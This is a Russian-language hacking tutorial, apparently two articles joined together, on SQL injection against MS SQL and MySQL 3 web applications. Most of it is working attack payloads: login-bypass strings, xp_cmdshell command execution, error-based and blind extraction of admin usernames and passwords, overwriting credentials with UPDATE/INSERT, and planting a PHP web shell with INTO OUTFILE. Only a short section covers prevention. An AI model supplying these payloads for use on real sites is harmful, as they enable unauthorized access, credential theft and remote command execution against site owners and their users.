Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС. Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.

1.1 Что такое SQL Injection?

SQL Injection - метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.

2.0 Что мы должны искать

Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:

<FORM action=Search/search.asp method=post>

<input type=hidden name=A value=C>

</FORM>
Все параметры между и </FORM> потенциально могут быть уязвимы к введению SQL кода.

2.1 Что если вы не нашли страницу, которая использует ввод?

Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно: http://securitylab.ru/?ID=31610
3.0. Как мне проверить что то, что я нашел, уязвимо?

Попробуйте начать с одиночной кавычки. Введите следующую строку:

hi' or 1=1—

в поле имя пользователя или пароль, или даже в URL параметре. Пример:

Login: hi' or 1=1—

Pass: hi' or 1=1—

http://duck/index.asp?id=hi' or 1=1—

Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:

<FORM action=http://duck/Search/search.asp method=post>

<input type=hidden name=A value="hi' or 1=1-- ">

</FORM>

Если удача на вашей стороне, вы войдете в систему без имени или пароля.

3.1 Но почему ' or 1=1--?

Давайте рассмотрим другой пример, который объясняет полезность конструкции ' or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

http://duck/index.asp?category=food
В URL, 'category' – это имя переменной, и 'food' – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"

set rs=conn.execute(sqlstr)

как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать: SELECT * FROM product WHERE PCategory='food' Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае 'food'. Теперь изменим URL следующим образом: http://duck/index.asp?category=food' or 1=1--SELECT * FROM product WHERE PCategory='food' or 1=1--‘ Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен 'food' или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ('). Иногда можно заменить двойную черточку на диез "#". Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте: ' or 'a'='a Теперь SQL запрос станет: SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Этот запрос возвратит тот же самый результат. В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей: ' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a

4.0 Как можно удаленно выполнять команды, используя SQL injection?

Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд: '; exec master..xp_cmdshell 'ping 10.10.1.2' -- Попробуйте использовать двойные кавычки ("), если (') не срабатывает. Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера: http://securitylab.ru/?ID=31610 Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

5.0 Как получить результаты моего SQL запроса?

Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML: '; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Указываемый IP должен иметь папку "share" с доступом для Everyone.

6.0 Как получить данные из базы данных, используя ODBC сообщение об ошибках?

Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

http://duck/index.asp?id=10
Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".

Для получения следующего имени таблицы, мы можем использовать следующий запрос:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Мы также можем искать данные, используя ключ LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5

Соответствующая конструкция '%25login%25' будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".
6.1 Как узнать все имена столбцов в таблице?

Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'—
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')—
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
6.2. Как нам получить нужные нам данные?

Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.
Давайте получим первый login_name из таблицы "admin_login":
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
Теперь мы сможем войти в систему как "neo" с паролем 'm4trix'.
6.3 Как получить числовое значение строки?
Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом ( в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для '+' = 0x2b). Затем, мы добавим в конец '%20morpheus' в фактический пароль. Поэтому, даже если значение пароля '31173', он станет '31173 morpheus'. Вручную вызывая функцию convert(), пытаясь преобразовать ' 31173 morpheus' в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Теперь мы сможем войти в систему как "trinity" с паролем '31173'.
7.0 Как модифицировать/вставить данные в базу данных?

После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo--
Чтобы внести (INSERT) новую запись в базу данных:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Теперь мы сможем войти в систему как "neo" с паролем 'newpas5'.
8.0 Как избежать SQL Injection?
Фильтруйте специальные символы во всех строках в:
- любых данных, вводимых пользователем
- URL параметрах
- Cookie

Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

Запускайте SQL сервер как непривилегированный пользователь.
Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
В настоящее время можно встретить большое количество статей, описывающих эксплуатацию уязвимости SQL инъекцию, в одной из самых распространенных СУБД, MySQL. Практически все эти статьи подразумевают, что на уязвимом сервере работает четвертая версия сервера MySQL.

Действительно, в реализации языка SQL в четвертой версии сервера стало доступным ключевое слово UNION, его использование в MySQL инъекции позволит злоумышленнику получить содержание произвольных таблиц. К которым имеет доступ пользователь, из под которого происходит соединение с базой данных.

Такая ситуация привела к мнению, что в MySQL 3 SQL инъекция в принципе не может ничем грозить.

Даже некоторыми хакерами считается что, если на сервере используется СУБД MySQL третей версии, то это случай безнадежный. Однако, у меня есть свое мнение на этот счет, и я хочу показать, что в некоторых ситуациях данный вопрос имеет свой ответ.

Хотя в настоящее время MySQL третей версии можно встретить все реже и реже, все же вследствие немалой популярности этой СУБД, третья версия все еще установлена на очень большом количестве сервером. В некоторых случаях просто никто не хочет обновить систему, в некоторых считают, что так безопаснее, в некоторых следить за сервером просто некому. Ситуации бывают разные, а MySQL 3 остается.

Три или четыре

И так, обнаружен факт SQL инъекции. Как определить что это действительно, MySQL, и определить версию MySQL сервера.

Допустим, инъекция имеет место в запросе, типа http://localhost/test.php?id=1, в параметре id. Если страница выводит некоторое содержание, соответствующее введенному идентификатору, то можно предположить, что имеет место инъекция после where запроса. Мы считаем, что факт наличия SQL инъекции в нашем случае выявлен любыми средствами, о которых описано в настоящее время немало, и действительно имеет место.

Допустим, нападающий заметил, что он может внедрять булевы конструкции в запрос, и они явно влияют на результат запроса. Так, например http://localhost/test.php?id=1+AND+0, выведет страницу без содержания, а http://localhost/test.php?id=1+AND+1, выведет страницу, аналогичную странице с переданным параметром id=1.

Имя этот факт, уде можно составить серию запросов к серверу с целью подтвердить (или опровергнуть) предположение, что это СУБД MySQL, и, случае, если это действительно MySQL, выявить версию сервера.

И для того и для другого можно использовать особенность реализации SQL в MySQL. А именно, содержание специальных скобок вида /*!NNNNN … */ будет выполнено обычным образом, в MySQL тогда и только тогда, когда полная версия сервера (записанная подряд, без точек, с ведущими нолями в подверсиях), больше или равна чем NNNNN. В противном случае эта запись будет воспринята как комментарий.

Одновременно, в реализации языка SQL в большинстве современных СУБД, это запись будет воспринята как комментарий в любом случае.

Учитывая, что, в любом случае, записанная таким образом версия mySQl сервера будет больше, чем 00000, то запись /*!00000 Any_SQL_commands */ будет эквивалента Any_SQL_commands, в любом запросе в MySQL. Одновременно, эта запись будет эквивалента комментарию в любых других СУБД.

Таким образом, можно однозначно определить MySQL, в нашем примере, сделав следующий запрос: http://localhost/test.php?id=1+/*!00000+AND+0+*/.

Вывод пустой страницы (эквивалент запроса http://localhost/test.php?id=1+AND+0), будет однозначно свидетельствовать о том, что имеет место взаимодействие действительно с СУБД MySQL. В противном случае, это, скорее всего не MySQL. Следует учесть, что все это верно только в идеальной ситуации – отсутствие фильтрации и т.п., что однако, не редкость.

Используя этот прием, можно однозначно определит, имеет СУБД MySQL в нашем случае версию 3.x или 4.x. Достаточно сделать следующий запрос: http://localhost/test.php?id=1+/*!40000+AND+0+*/. Этот запрос вернет пустую страницу (в нашем примере), тогда и только тогда, когда версия MySQL сервера 4.x.

Пользуясь дихотомическим поиском, нетрудно определить и точную версию MySQL сервера. Для этого, достаточно будет составить следующую серию запросов:

http://localhost/test.php?id=1+/*!40000+AND+0+*/

http://localhost/test.php?id=1+/*!41000+AND+0+*/

http://localhost/test.php?id=1+/*!40500+AND+0+*/

http://localhost/test.php?id=1+/*!40300+AND+0+*/

http://localhost/test.php?id=1+/*!40400+AND+0+*/

…

http://localhost/test.php?id=1+/*!40311+AND+0+*/

http://localhost/test.php?id=1+/*!40312+AND+0+*/

В случае, если предпоследний запрос вернул пустую страницу, о последний вернул страницу, аналогичную http://localhost/test.php?id=1, то можно однозначно судить, что MySQL сервер имеет версию 4.3.12

Еще один метод определения версии MySQL сервера состоит в использовании функции version(), которая возвращает строку с текущей версией. Этот метод можно применять в случаях, если какие либо причины мешают использовать предыдущий метод. Например, происходит фильтрация символов /.

К примеру, если запрос http://localhost/test.php?id=1+AND+(version()+like+’4%’) возвратит страницу, соответствующую идентификатору id=1, то можно однозначно судить о том, что MySQL сервер имеет четвертую версию.

Если применение кавычек мешает фильтрация, то вместо строки можно использовать функцию, которая в качестве значения вернет необходимую строку. Можно использовать char(), функцию, которая возвращает строку, соответствующую из символов с ASCII кодами которые приняты в качестве аргументов.

Пример. Запрос http://localhost/test.php?id=1+AND+(version()+like+char(25,34)), будет аналогичен предыдущему, но не будет содержать кавычек.

Пользуясь этим примером можно выявить и полную версию СУБД MySQL, либо последовательно подбирая все символы, либо пользуясь дихотомическим поиском, используя сравнение строк в лексикографическом порядке.

Стоит отметить, что подомным же образом можно подобрать и значения других функций, которые могут быть интересны нападающему. User() – возвращает имя пользователя MySQL из под которого произошло подсоединение с базой данных. Database() – возвращает имя текущей базы данных.

Даже, если инъекция происходит в произвольном запросе в произвольном месте, выяснить MySQl это или нет, и версию MySQL аналогичным образом можно, например внедряя внутри этих скобок значения, которые однозначно “испортят” запрос.

http://localhost/test.php?id=1+/*!40000+AND+blablabla+*/, и нападающий сможет узнать, выполнились ли инструкции (которые не являются синтаксически верными инструкциями MySQL), или нет, по тому, нормально функционирует скрипт при таком запросе (инструкции были восприняты как комментарий), или нет (инструкции были проинтерпретированы как часть запроса).

Следует помнить, что инструкции должны быть синтаксически верными, однако приводящими к ошибке в запросе. В случае ошибки в синтаксисе, эта запись в любом случае будет воспринята как комментарий. Об этом стоит помнить, и несколько видоизменять запрос для каждой конкретной ситуации.

Инъекция после where

SQL инъекция после ключевого слова where является одним из наиболее распространенных случаев. SQL запрос в этом случае имеет примерно следующий вид select … from … where … rowN=$row …, где вставляется в запрос без надлежащей фильтрации.

В случае, если имеет место инъекция в третей версии сервера, то нижеизложенный прием позволит получить содержание любой записи любого столбца в любой таблице, используемой в запросе.

Допустим имеет место SQL инъекция в скрипте http://localhost/test.php?id=1, который выводит в броузер некоторую информацию о соответствующем пользователе. Естественно, пароль пользователя не выводиться. Покажем, каким образом в MySQL 3 можно узнать как пароль произвольного пользователя, так и пароль целевого пользователя. Считаем, что пароль храниться в открытом виде в той же таблице, в которой и хранятся и остальные параметры пользователя. Те, имя этой таблицы явно участвует в запросе.

Если в таблице храниться хеш пароля, та нападающему станет известен хеш, который надо будет еще расшифровать.

Для получения информации из некоторого столбца, нужно как минимум знать имя этого столбца. В случае, если запрос сложный, то кроме имени столбца нужно еще знать имя таблицы, либо псевдонима таблицы, используемой в запросе. При чем, если псевдоним использовался, то необходимо знать именно псевдоним.

Имя таблицы или ее псевдоним понадобиться знать только в том случае, если в запросе использует более одной таблицы, и имя подбираемого столбца присутствует в более чем одной таблице, из присутствующих в запросе.

Вряд ли, более чем в одной таблице будут присутствовать такие столбцы, как login или pass и т.п, так что подбирать имя таблицы в большинстве случаев не необходимо.

Если это система с открытым исходным кодом, или в ошибках системы выводиться достаточно информации о запросе, то это не составит проблемы. Однако, в случае, если внешнему пользователю ничего не известно о внутренней структуре запроса и базы данных, то имя поля и, возможно имя таблицы придется подбирать вручную.
Пример

http://localhost/test.php?id=1+or+password=’abc’

http://localhost/test.php?id=1+or+pass=’abc’

http://localhost/test.php?id=1+or+passwd=’abc’

http://localhost/test.php?id=1+or+u.password=’abc’

http://localhost/test.php?id=1+or+user.password=’abc’

…

Если результатом одного из представленных запросов будет страница, идентичная странице с переданным идентификатором id=1, то это будет свидетельствовать о том, что имя столбца, и, возможно, имя таблицы найдено успешно.

Допустим, интересующее нас имя столбца – pass,те второй запрос вернул положительный результат.

Вычислим пароль любого пользователя системы. Пароль будем подбирать последовательно, по одной букве, либо пользуясь конструкцией like, либо пользуясь дихотомическим поиском, используя сравнение строк в лексикографическом порядке.

http://localhost/test.php?id=9999999+or+pass+like+’a%’ (-)

http://localhost/test.php?id=9999999+or+pass+like+’b%’ (-)

…

http://localhost/test.php?id=9999999+or+pass+like+’p%’ (+)

http://localhost/test.php?id=9999999+or+pass+like+’pa%’ (+)

http://localhost/test.php?id=9999999+or+pass+like+’paa%’ (-)

…

http://localhost/test.php?id=9999999+or+pass+like+’pas%’ (+)

…

http://localhost/test.php?id=9999999+or+pass+like+’pas21m1%’ (+)

http://localhost/test.php?id=9999999+or+pass+like+’pas21m1_%’ (-)

Запись, соответствующая идентификатору 9999999, не существует в базе данных, в этом стоит убедиться заранее.

Плюсом отмечен положительный результат запроса. Положительным считается результат, выводящий параметры хоть какого то пользователя в броузер. Отрицательный (-) результат имеет место в случае, если выведена страница, идентичная передачи id=9999999, те пустая страница.

При этом может выводиться как один результат, так и несколько (все найденные), в зависимости от того, как написан скрипт. Вывод параметров какого либо пользователя в броузер при каком либо запросе следует интерпретировать именно как то, что его пароль удовлетворяет этим условиям.

То что предпоследний запрос выдал положительный результат, а последний – отрицательный следует интерпретировать, что все символы пароля успешно подобраны. Действительно, если бы остался неподобранным хотя бы один символ справа то он совпал бы с символом нижнего слеша, а, возможно, остальные символы совпали бы с символом процент.

При подборе символов пароля таким способом следует помнить, что в пароле могут присутствовать как символы английского алфавита, так и цифры и другие символы. В случае, если в пароле присутствует символ _ или %, то при их подборе внутри like, эти символы следует мнемонизировать обратной косой.

Совершенно очевидно, что таким образом мы сможем подобрать пароль произвольного или нескольких произвольных пользователей в системе. Однако, не очевидно, что мы сможем подобрать пароль целевого пользователя, особенно если пользователей очень много.

Действительно, в описанной нами ситуации скорее всего будет выведен первый случайный пользователь, пароль которого удовлетворяет данным условиям. А о том, удовлетворяют эти условия целевому пользователю или нет мы никогда не узнаем, так он должен был бы вывестись вторым.

Те, если выводятся все результаты запроса, либо, играя с limit, все же можно узнать пароль целевого пользователя, но это может быть сопряжено с некоторыми трудностями.

Описанный прием лучше применять, если достаточно знать пароль любого пользователя, те все подобные пользователи равноправны.
Теперь, допустим, необходимо узнать пароль целевого пользователя. Для этого как минимум необходимо выяснить, как мы сможем идентифицировать запись в БД, соответствующую этому пользователю. Например, запись можно идентифицировать по идентификатору, или имени пользователя, либо по другим параметрам. В любом случае необходимо выяснить, какие значения должны быть в соответствующих столбцах искомой записи.

Например, идентифицировать некоторую запись администратора можно было бы так:

http://localhost/test.php?id=9999999+or+(id=1), или

http://localhost/test.php?id=9999999+or+(login=’admin’)

После того, как интересующая нас запись может быть идентифицирована, можно аналогичным образом подобрать пароль.

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+like+’a%’) http://localhost/test.php?id=9999999+or+(id=1+AND+pass+like+’b%’)

и так далее.

Кроме того, для убыстрения поиска, в обоих случаях, можно воспользоваться дихотомическим поиском.

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’k’) (-)

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’g’) (+)

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’h’) (-)

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’fk’)

и так далее, последовательно перебирать каждую букву.

Стоит отметить, что в любом описанном в этой статье случае, строковую константу, заключенную в кавычки, можно заменить на функцию char(), с соответствующими аргументами.

Инъекция после order by

В нередких случаях внедрение произвольного кода возможна после ключевого слова order by. Наиболее часто подобная инъекция возможна, когда скрипт принимает в качестве параметра имя столбца, по которому следует произвести упорядочивание, и вставляет его в запрос без предварительной фильтрации.

Так как ключевое слово where согласно синтаксису SQL должно находиться перед order by, таким образом, невозможно внедрение булевых функций, ограничивающих вывод с целью получения информации о значениях некоторых записей.

Однако, в MySQL после order by, разрешено использовать функции и значения столбцов в произвольной комбинации, и пользуясь этим фактом, можно подобрать значения любых столбцов для произвольной и целевой записи в любой таблице, используемой в запросе.

Допустим, скрипт http://localhost/test2.php?order=id выводит список пользователей системы, упорядочив их по id, причем значение переменной order вставляется в скрипт без надлежащей фильтрации.

Стоит вспомнить, что в MySQL булевы значения приводятся к целым значениям, соответственно 0 и 1.

Заметим следующую особенность, http://localhost/test2.php?order=(-id*1) упорядочит строки от большего id к меньшему, и это понятно, так как упорядочивание происходит по противоположной функции.

Одновременно http://localhost/test2.php?order=(-id*0) выведет записи в естественном порядке, без всякого упорядочивания. Скорее всего, это будет тот порядок, в котором записи добавлялись в базу данных, и скорее всего, это будет порядок по возрастанию id. Это поведение также объяснимо. В этом случае упорядочивание происходит по функции, которая константно равна нулю на всем множестве полей, те, для любой записи в БД, значение (-id*0) одинаково и равно нулю. Т.е, никакого упорядочивания произведено не будет.

Ну, и как говорилось ранее, вместо нуля или единицы можно вставлять произвольные булевы условия, значение которых MySQL приведет к целому.

Примеры http://localhost/test2.php?order=(-id*(2=1)), или

http://localhost/test2.php?order=(-id*(‘abc’=’abc’))

Эти булевы условия могут содержать в том числе и значения других столбцов таблиц.

http://localhost/test2.php?order=(-id*(pass+like+’a%’))

http://localhost/test2.php?order=(-id*(pass+like+’b%’))

и так далее.

Теперь осталось научиться различать, отгадали мы или нет. В этом случае, в случае, если пароль не удовлетворяет введенному условию, то значение функции по которой делается упорядочивание будет равно нулю для таких записей.

В случае, если пароль для некоторых записей удовлетворяет введенному условию, то для таких записей упорядочивание произойдет по значению –id, которое всегда меньше нуля.

Если нет уверенности в том, что значение id всегда больше нуля, то можно поступить след образом:

http://localhost/test2.php?order=(-(abs(id)+1)*(pass+like+’b%’))

Теперь, функция, по которой происходит упорядочивание всегда меньше нуля для записей, для которых пароль удовлетворяет условию, и равен нулю, для которых условие для пароля неверно. Учитывая, что упорядочивание происходит по возрастанию, то все записи, для которых условие окажется верным, окажутся вверху списка.

Если нет гарантии, что упорядочивание действительно происходит по возрастанию, можно добавить ключевое слово ASK, и, возможно, обрезать оставшуюся часть запроса, символом /*, или %00.

Напомним, что /* обозначает открытие комментария. MySQL нормально реагирует на незакрытые комментарии в запросе. %00 же колирует символ с котом ноль, который в Си подобных языках обозначает конец строки, и функция MySQL API mysql_query(), посчитает этот символ обычным концом строки, а, значит и запроса.

Пример: http://localhost/test2.php?order=(-(abs(id)+1)*(pass+like+’b%’))+ASK+/*

И так, допустим исходное упорядочивание, по –id, было таким:

5 user5

4 user4

3 user3

2 admin

1 root

и, после запроса http://localhost/test2.php?order=(-id*(pass+like+’b%’)) стало таким:

4 user4

2 admin

1 root

3 user3

5 user5, то этот результат следует интерпретировать, как то, что пароли у user4 и admin начинаются на символ b.

Аналогичным образом подбирается и весь пароль.

Если нас интересует пароль любого пользователя, то положительным результатом мы считаем, если в “вылезшем наверх” списке пользователей присутствует хотя бы один пользователь. Если же нас интересует пароль, какого то конкретного пользователя, то положительным результатом мы считаем то, что, этот пользователь присутствует в вылезшем наверх списке.

В качестве основы этого метода лежит упорядочивание по произведению двух функций – отрицательной для всех записей основной функции, и сигнальной булевой функции. Знак минус взят для того, чтобы интересующие нас результаты появлялись в начале списка, а не в конце, те просто для удобства.

В большинстве случаев, в качестве основной функции можно взять (-id), или (-(abs(id)+1)), однако, это может быть и любая другая функция, возвращающая разные значения для разных записей в таблице. Например, это может быть длина некоторого текстового поля, или даже комбинации некоторых функций от некоторых полей.

В этом примере, аналогичным образом можно использовать дихотомический поиск, и функцию char() вместо строк-констант.

PHP SHELL, или инъекция после limit

Действительно, почти безнадежным делом в инъекции в MySQL 3.x может стать то, что инъекция возможна после ключевого слова limit. Это вероятно в тех ситуациях, когда скрипт принимает и, не фильтруя, вставляет в запрос параметр, отвечающий за количество или смещение выведенных записей (например, номер страницы, количество записей на странице).

К счастью программиста, допустившего ошибку, и к разочарованию хакера, после параметрами limit могут быть только целые числа, а не выражения.

Конструкция into outfile в руководстве MySQL описана идущей сразу после select, однако, как показывает практика, ее можно поставить и в самый конец запроса, после limit. Таким образом, единственное, что сможет сделать хакер в такой ситуации, это попытаться сохранить результаты запроса в файл с произвольным месторасположением и именем.

Напомним, что имеется несколько ограничений.

Файл не должен существовать на диске

У пользователя MySQL должны быть права на работу с файлами (file_priv)

Целевая директория должна быть доступна на запись всем пользователям.

Имя файла должно быть с полным путем.

Имя файла должно быть строкой в кавычках. Использования выражений не допускается

Таким образом, если хакер знает полный путь до веб каталога на сервере, знает имя папки, в которую разрешена запись всем пользователям (такую папку он сможет найти и перебором), то нападающий сможет вывести результаты запроса в файл, в том числе с расширением, сопоставленным с некоторым интерпретатором, например PHP.

Однако, как внедрить в результат запроса злонамеренные данные, например PHP Shell код? Ответ на этот вопрос не очевиден, и дать на него ответ должен сам нападающий, исследуя конкретную систему.

Так, например, если инъекция после limit возможна в скрипте, выводящем сообщения на форуме, в параметре, отвечающим за номер страницы, то, вероятно, для положительного результата следует добавить сообщение на форуме, содержащее PHP Shell код, и затем произвести сохранение результатов запроса в файл.

Запрос может быть примерно таким http://localhost/test3?page=34+into+outfile+’/path/to/web/banners/cmd.php’, где на 34-ую страницу форума добавлено сообщение типа <? System($_GET[‘cmd’]) ?>

В случае, если, кроме того, на сервере присутствует уязвимость типа local php source code injection, то практически в любом случае таким образом можно создать файл с PHP shell кодом в любой общедоступной на запись директории, с последующем подцеплением этого файла в уязвимости типа PHP инъекция. Например, директория /tmp/, обычно доступна на запись всем пользователям.

Стоит еще раз заметить, что в качестве имени файла нельзя использовать выражения, а, значит, и привычный фокус с char(), не пройдет в случае, если кавычки фильтруются.

Стоит отметить, что фокус с into outfile будет возможен и в других двух вышеописанных случаях, и эксплуатироваться он будет примерно также.

Внимание.

Все приведенные HTTP запросы в статье – это всего лишь примеры, демонстрирующие принцип. В реальных системах запросы могут выглядеть иначе, иметь более сложный вид, однако принцип сохраниться тот же.

Кроме того

Я не стал описывать в статье подробно некоторые другие довольно часто встречаемые ошибки в скриптах, которые довольно подробно описаны и в других источниках.

Например, если при сравнении пароля с паролем в БД используется функция like а не =, то значение % совпадет с любым паролем.

Кроме того, если инъекция происходит вследствие слабой фильтрации имени пользователя или пароля, то можно авторизоваться в системе под любым пользователем, введя примерно следующий пароль (или имя пользователя) ‘ OR 1 /*

